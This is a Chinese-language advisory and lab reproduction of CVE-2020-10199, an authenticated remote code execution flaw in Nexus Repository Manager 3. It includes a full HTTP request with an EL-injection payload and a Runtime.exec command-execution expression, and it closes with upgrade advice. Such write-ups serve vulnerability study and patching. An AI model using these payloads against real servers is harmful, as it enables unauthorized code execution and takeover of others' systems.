一、漏洞概要
2020年03月31 日,Sonatype 官方發布安全公告,聲明修復了存在於 Nexus Repository Manager 3 中的遠程代碼執行漏洞 CVE-2020-10199。
Sonatype Nexus 是一個 Maven 的倉庫管理系統,它提供了強大的倉庫管理、構件搜索等功能,並且可以用來搭建 Maven 倉庫私服,在代理遠程倉庫的同時維護本地倉庫,以節省帶寬和時間。
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由於某處功能安全處理不當,導致經過授權認證的攻擊者,可以在遠程通過構造惡意的 HTTP 請求,在服務端執行任意惡意代碼,獲取系統權限。
此漏洞的利用需要攻擊者具備任意類型的賬號權限。
二、漏洞影響
【危險等級】
高危
【影響版本】
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
三、漏洞復現
1、環境搭建
使用vulhub提供的漏洞環境(linux環境,安裝docker下,執行docker-compose up -d 命令啟動Nexus Repository Manager 3.21.1)
等待一段時間環境才能成功啟動,訪問http://your-ip:8081
即可看到Web頁面。
該漏洞需要至少普通用戶身份,所以我們需要使用賬號密碼admin:admin
登錄后台。
2、復現
登錄后,復制當前Cookie和CSRF Token,發送如下數據包,即可執行EL表達式:
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 203 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 NX-ANTI-CSRF-TOKEN: 0.7886248393834028 Content-Type: application/json Accept: */* Origin: http://127.0.0.1:8081 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: http://127.0.0.1:8081/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{233*233*233}"] } }
(1)嘗試執行233*233*233,成功返回結果
(2)嘗試創建文件
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
回到漏洞環境檢查,文件夾success創建成功
(3)dnslog測試
漏洞存在
POC參考:https://github.com/zhzyker/CVE-2020-10199_POC-EXP
四、漏洞修復
目前,官方已發布新版本修復了該漏洞,請受影響的用戶升級到安全版本。
下載地址:https://help.sonatype.com/repomanager3/download/
注:修復漏洞前請將資料備份,並進行充分測試。